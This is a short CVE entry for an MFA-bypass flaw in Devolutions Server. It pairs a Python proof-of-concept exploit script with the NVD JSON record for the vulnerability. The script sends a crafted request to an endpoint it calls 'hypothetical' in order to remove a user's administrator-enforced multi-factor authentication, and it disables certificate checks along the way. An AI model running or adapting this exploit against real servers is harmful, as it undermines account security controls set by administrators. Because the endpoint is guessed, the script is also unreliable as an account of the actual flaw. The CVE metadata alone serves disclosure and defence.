CVE-2026-4925

import requests # PoC for CVE-2026-4925: Devolutions Server MFA Bypass # Description: This script demonstrates how an authenticated user can remove their own MFA # by sending a crafted request to the vulnerable endpoint. def exploit_mfa_removal(target_url, session_token): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } # Hypothetical endpoint based on the vulnerability description api_endpoint = f"{target_url}/api/v1/users/me/mfa/disable" payload = { "provider": "totp", "confirmation": "true" } try: response = requests.post(api_endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Success: MFA configuration removed via access control bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: Server returned status code {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage example: # exploit_mfa_removal("https://devolutions-server.example.com", "<valid_user_session_token>")

{"cve": {"id": "CVE-2026-4925", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.760", "lastModified": "2026-04-03T19:14:36.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in the users MFA feature in Devolutions Server allows an authenticated user to bypass administrator-enforced restrictions and remove their own multi-factor authentication (MFA) configuration via a crafted request.\n\n\n\n\n\nThis issue affects Server: from 2026.1.6 through 2026.1.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "C03E8B95-397C-465C-BE01-810DC9852675"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}